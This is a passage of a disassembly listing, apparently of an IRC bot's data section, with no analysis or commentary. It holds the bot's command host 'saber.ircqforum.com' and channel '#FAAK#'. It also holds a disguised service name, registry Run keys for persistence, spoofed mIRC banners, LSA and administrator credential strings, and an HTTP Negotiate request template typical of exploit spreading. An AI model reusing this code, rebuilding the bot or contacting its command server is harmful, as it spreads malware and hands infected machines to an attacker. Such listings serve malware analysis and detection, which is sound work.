jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
mov eax, offset dword_4280CC
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset dword_4280F0
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset dword_428150
jmp loc_41C91F
; ---------------------------------------------------------------------------
dd 5Fh dup(0)
dd 25C0000h, 25D0000h, 25E0000h, 25E06E5h, 25F0000h, 25F0AD1h
dd 25F0B38h, 25F0F32h, 2600000h, 2610000h, 26107F9h, 2620000h
dd 2620238h, 26209D9h, 2620B77h
dword_42703C dd 2620B8Bh ; DATA XREF: ___:004231D9r
dd 2620C2Ah, 2620EB1h, 2630000h, 2630150h, 2640000h, 2641092h
dd 2650000h, 26503EEh, 2650929h, 77E75CB5h
dword_427068 dd 265098Dh ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 2660000h, 266039Ah, 2670000h
dword_427078 dd 26703BBh ; DATA XREF: sub_40111D+29r
; sub_401ACD+318Br ...
dword_42707C dd 267042Eh ; DATA XREF: ___:004015E2r
; sub_410CD5+32r
dd 2670603h
dword_427084 dd 267071Ch ; DATA XREF: sub_4196BC+B9r
dd 2670CF9h
dword_42708C dd 2670D70h ; DATA XREF: sub_410FF8:loc_411089r
dword_427090 dd 2680000h ; DATA XREF: ___:loc_4013DCr
dd 2680382h, 2680495h
dword_42709C dd 2680528h ; DATA XREF: sub_409B12+2r
dd 268064Ah, 26806B0h
dword_4270A8 dd 2680CBAh ; DATA XREF: ___:0040124Dr
; sub_41A4D1+8Cr
dword_4270AC dd 2680D6Bh ; DATA XREF: sub_410CD5:loc_410DC1r
dd 2690000h, 2690B2Ah
dword_4270B8 dd 2690C07h ; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC dd 26A0000h ; DATA XREF: sub_409B12+11r
; sub_416F1A+60r ...
dd 26B0000h, 26C0000h, 26C05A2h, 26D0000h, 77F7E300h, 77F7E21Fh
dd 26D0554h, 26D0688h, 26E0000h, 26E07BCh
dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br
dword_4270EC dd 26F07E8h ; DATA XREF: sub_418293+36r
dd 26F0AA8h, 2700000h
dword_4270F8 dd 27005E0h ; DATA XREF: sub_410F1F+3Ar
; sub_419C64+79r
dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r
; sub_419C64+3Br
dd 2711635h, 2720000h, 2720B64h, 2730000h, 2730875h, 2740000h
dd 2750000h, 2760000h, 2760ABBh, 2760D38h, 2760DEDh, 2770000h
dd 277079Fh, 2770A09h, 2780000h
dword_42713C dd 27802B6h ; DATA XREF: sub_416F1A+BCr
dd 2790000h
dword_427144 dd 27A0000h ; DATA XREF: sub_4170EC+21r
; sub_417275+4Ar
dword_427148 dd 27A0BB8h ; DATA XREF: sub_4170EC+10r
; sub_417275+40r ...
dd 27A0CAEh
dword_427150 dd 27B0000h ; DATA XREF: sub_417275+56r
dd 27B0277h, 27C0000h, 27D0000h, 27D053Eh, 27D0B9Ch, 27D0DFDh
dd 27E0000h, 27E060Ch, 27F0000h, 2800000h
dword_42717C dd 2810000h ; DATA XREF: sub_418B58+13r
; ___:0042324Er ...
dword_427180 dd 2820000h ; DATA XREF: sub_418C2A+Fr
; sub_41D834+54r ...
dd 2821053h, 2821499h, 282186Dh, 2821B58h, 2830000h, 2840000h
dd 2850000h, 2860000h, 2870000h, 2880000h, 2881A9Eh, 2881AF6h
dd 2890000h, 2890E67h, 28A0000h
dword_4271C0 dd 28A0650h ; DATA XREF: sub_41DEA2+240r
dword_4271C4 dd 28A07C4h ; DATA XREF: sub_41E976:loc_41E9A7r
dd 28A093Bh, 28B0000h, 28B0756h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
dd 71AB1746h, 71AB3E5Dh
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co
; sub_401ACD+356Co ...
align 10h
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co
; sub_401ACD+38D2o ...
align 4
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr
dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r
dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr
; sub_40D4B0r ...
align 10h
dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r
dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do
; sub_40D560+5Bo ...
flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r
dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r
; ___:004166D1r ...
dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r
dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r
dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r
; sub_417ADD+3A7r
dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r
dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br
; sub_417ADD+2D5r ...
dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r
dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr
; sub_417ADD+138r ...
dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r
; sub_417ADD+308r
dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r
dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br
flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r
flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr
flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r
flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r
dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr
; sub_41C7BF+6Cr ...
dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
align 4
byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43C514o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co
dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr
; sub_42135F+ACr ...
dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr
dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o
align 4
dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o
dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o
dd offset loc_42224A
align 8
dd offset sub_422228
dd offset sub_422232
dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o
dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o
dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 10h
dd offset loc_422599
dd offset loc_42259D
dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 8
dd offset loc_4225EF
dd offset loc_4225F3
dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o
; sub_423CEC+39o ...
dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: sub_422ACA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
align 10h
asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
align 10h
dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo
align 10h
dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: sub_425F03+5o
dd 427E2Ch
off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5
dd offset sub_4266F6
dd offset dword_427E78
off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5
dd offset loc_426732
dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EC4
off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5
dd offset loc_426714
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F08
off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o
; ___:off_43D084o ...
dd offset dword_427F38
off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o
; sub_42686C+8o ...
dd offset sub_4268CC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
align 10h
dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: sub_426988+5o
dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: sub_426C13+5o
dd 43D084h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o
; ___:00427E5Co ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co
dd 2, 427E10h, 3 dup(0)
dd offset off_43D09C
dd offset dword_427E18+4
off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E40
dd offset off_427DF8
dd offset dword_427DC8+18h
dd 0
db 0 ; DATA XREF: ___:00427E88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427E58h
dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o
dd offset off_43D0BC
dd offset unk_427E68
off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E8C
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o
dd 3, 427EA4h
dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o
dd offset off_43D0DC
dd offset dword_427EB0+4
off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED8
dd 0
db 0 ; DATA XREF: ___:00427F18o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427EF0h
dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o
dd offset off_43D100
dd offset unk_427EF8
dd offset dword_427DC8+18h
dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o
dd 1, 427F1Ch
dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co
dd offset off_43D084
dd offset dword_427F20+8
align 10h
dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o
dd 0FFFFFFFFh, 426DE0h, 0
dd offset sub_426DD8
dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o
dd 0FFFFFFFFh, 426E04h, 0
dd offset loc_426E0C
dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FF8h, 4 dup(0)
; ---------------------------------------------------------------------------
retf 40D7h
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 426E2Ah
dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o
dd offset off_43D084
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D09C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D0BC
align 10h
dd 0FFFFFFFFh, 0
dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co
dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428078+8
dd 0FFFFFFFFh, 426E3Ch
dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o
dd 0FFFFFFFFh, 426E4Eh
dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o
dd 0FFFFFFFFh, 426E60h
dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o
dd offset off_43D0DC
align 8
dd 0FFFFFFFFh, 0
dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o
dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428120+8
dd 0FFFFFFFFh, 426E72h
dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao
dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o
dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_42816C
dd 5 dup(76B9A4E5h), 5 dup(2826BA72h), 5 dup(79F50649h)
dd 7Ah dup(0)
dd 79F50649h, 0
dd 76B9A4E5h, 15h dup(0)
dd 2826BA72h, 2FCh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o
dd offset loc_401205
dd offset sub_40D878
dd offset sub_40D89A
dd offset dword_40E504+1CFh
dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo
dword_429018 dd 0 ; DATA XREF: ___:0041B794o
dd offset sub_41D052
dd offset sub_42026D
dd offset sub_423936
dd offset word_424752
dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o
dd offset sub_4239DB
dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o
dd offset dword_424754+0Fh
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r
; sub_40BACD+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r
; sub_40BACD:loc_40BEBEr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_418359+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Br ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar
; sub_40ACB5+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_4044A0o ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo
; sub_401ACD+7EAAo
align 10h
aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 6Dh ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 73h, 6Eh, 6Dh
dd 7261676Eh, 6578652Eh, 0
dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
align 4
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o
align 4
aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o
; sub_401ACD+303Fo ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o
; sub_401ACD+4216o
align 10h
off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo
; "*@admin.com"
off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
; sub_41A19D+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
; sub_41A19D+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd 0
dd offset dword_43D128
dd offset aAdministrato_0 ; "administrator"
align 10h
dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr
